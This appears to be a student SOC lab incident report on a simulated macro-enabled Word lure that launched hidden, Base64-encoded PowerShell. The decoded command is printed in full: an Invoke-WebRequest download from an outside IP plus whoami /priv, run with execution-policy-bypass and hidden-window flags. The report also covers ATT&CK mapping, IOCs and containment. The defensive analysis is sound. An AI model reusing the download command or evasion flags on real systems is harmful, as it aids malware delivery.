SOC Final Incident Report

Lab 2: Suspicious PowerShell Execution & Encoded Payload Delivery

1. Incident Overview & Triage Metadata

Incident Title	Macro-Enabled Word Document Spawning Hidden Encoded PowerShell & Ingress Payload Transfer
Assigned Severity	**HIGH**
Affected Host	WIN-SOC-LAB
Compromised Account	WIN-SOC-LAB\j.doe
Incident Timeframe	2023-11-15 09:12:00 to 2023-11-15 09:12:09
Detection Source	Splunk Enterprise (index="soc-investigation", source="*powershell_lab_v2.csv*")

2. Executive Summary

On November 15, 2023, at 09:12:00, user **WIN-SOC-LAB\j.doe** opened the suspicious Microsoft Word document **Invoice_7782.docx** via **WINWORD.EXE** (PID 4400). Within three seconds, at 09:12:03, WINWORD.EXE spawned a child **powershell.exe** process (PID 5500) using defense-evasion and obfuscation flags: **-ExecutionPolicy Bypass**, **-WindowStyle Hidden**, and **-EncodedCommand**.

Decoding the UTF-16LE Base64 payload in CyberChef revealed the following two-stage command:

```
Invoke-WebRequest -Uri "https://198.51.100.20/test.txt" -OutFile "C:\Users\j.doe\AppData\Local\Te
mp\test.txt"; whoami.exe /priv
```

Following execution, powershell.exe established an outbound HTTPS connection to **198.51.100.20** (EventCode 3), wrote the remote payload to **C:\Users\j.doe\AppData\Local\Temp\test.txt** (EventCode 11), and spawned **whoami.exe /priv** (PID 6600, EventCode 4688) to enumerate local token privileges. Two additional PowerShell events were verified and excluded as benign: an interactive **Get-Service** command launched via explorer.exe (PID 3300), and a SYSTEM-level **splunk-powershell.exe** agent spawned by splunkd.exe (PID 1150).

3. Reconstructed Process Ancestry & Attack Timeline

explorer.exe (PID 2200)

└── WINWORD.EXE (PID 4400) — Opened Invoice_7782.docx (09:12:00 | EventCode 4688)

├── Created Temp File ~$Invoice_7782.docx (09:12:01 | EventCode 11)

└── powershell.exe (PID 5500) — Hidden Base64 Execution (09:12:03 | EventCode 4688)

├── Connected to C2 198.51.100.20:443 (09:12:05 | EventCode 3)

├── Dropped C:\Users\j.doe\AppData\Local\Temp\test.txt (09:12:06 | EventCode 11)

└── Spawned whoami.exe /priv (PID 6600 | 09:12:09 | EventCode 4688

4. Confirmed MITRE ATT&CK Mapping

Timestamp	EventCode	Tactic	Technique ID & Name	Supporting Log Evidence
09:12:00	4688	Execution	T1204.002 — User Execution: Malicious File	User j.doe opened Invoice_7782.docx in WINWORD.EXE (PID 4400).
09:12:03	4688	Execution	T1059.001 — Command & Scripting Interpreter: PowerShell	WINWORD.EXE (PID 4400) spawned powershell.exe (PID 5500).
09:12:03	4688	Defense Evasion	T1564.003 — Hide Artifacts: Hidden Window	Executed with -WindowStyle Hidden and -ExecutionPolicy Bypass.
09:12:03	4688	Defense Evasion	T1027 — Obfuscated Files or Information	Command payload was obfuscated in UTF-16LE Base64 via -EncodedCommand.
09:12:05–06	3, 11	Command & Control	T1105 — Ingress Tool Transfer	Invoke-WebRequest connected to 198.51.100.20 and saved test.txt to AppData\Local\Temp\.
09:12:09	4688	Discovery	T1033 — System Owner/User Discovery	powershell.exe spawned whoami.exe /priv (PID 6600) to enumerate user privileges.

5. Indicators of Compromise (IOCs)

Indicator Type	Value	Context
External IPv4 / Port	198.51.100.20 (TCP 443)	Remote server contacted by powershell.exe (PID 5500).
Malicious URL	https://198.51.100.20/test.txt	Payload URL embedded inside the Base64-encoded command.
Encoded Payload (Base64)	SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0...	UTF-16LE Base64 command string passed to -EncodedCommand.
File Artifact (Lure)	Invoice_7782.docx	Initial malicious Word document opened by WIN-SOC-LAB\j.doe.
File Artifact (Dropped)	C:\Users\j.doe\AppData\Local\Temp\test.txt	File written to disk by powershell.exe (PID 5500).

Conclusion :

- **Final Triage Verdict**: True Positive — Malicious Document Execution & Ingress Tool Transfer (HIGH)

- **Analyst Assessment**: Process ancestry reconstruction and Base64 payload decoding confirm that user WIN-SOC-LAB\j.doe opened a weaponized Word document (Invoice_7782.docx, PID 4400), which spawned a hidden, execution-policy-bypassed PowerShell process (PID 5500). The decoded script successfully contacted external C2 server 198.51.100.20 (EventCode 3), staged a secondary file at C:\Users\j.doe\AppData\Local\Temp\test.txt (EventCode 11), and enumerated local token privileges via whoami.exe /priv (PID 6600). Because telemetry shows no subsequent lateral movement, credential dumping, or persistence mechanism following the 09:12:09 discovery command, rapid host containment can fully neutralize the intrusion before secondary compromise occurs.

- **Noise & False-Positive Elimination**: Two additional PowerShell executions on WIN-SOC-LAB were investigated and closed as non-threats: PID 3300 (Get-Service launched interactively via explorer.exe) was verified as benign administrative activity, and PID 1150 (splunk-powershell.exe spawned by splunkd.exe) was documented as legitimate internal SIEM forwarder activity to be excluded from future detection alerts.

- **Incident Closure Criteria**: This incident may be closed once WIN-SOC-LAB is isolated, C:\Users\j.doe\AppData\Local\Temp\test.txt and Invoice_7782.docx are eradicated, j.doe's credentials are rotated, and perimeter firewall blocks for 198.51.100.20 are verified.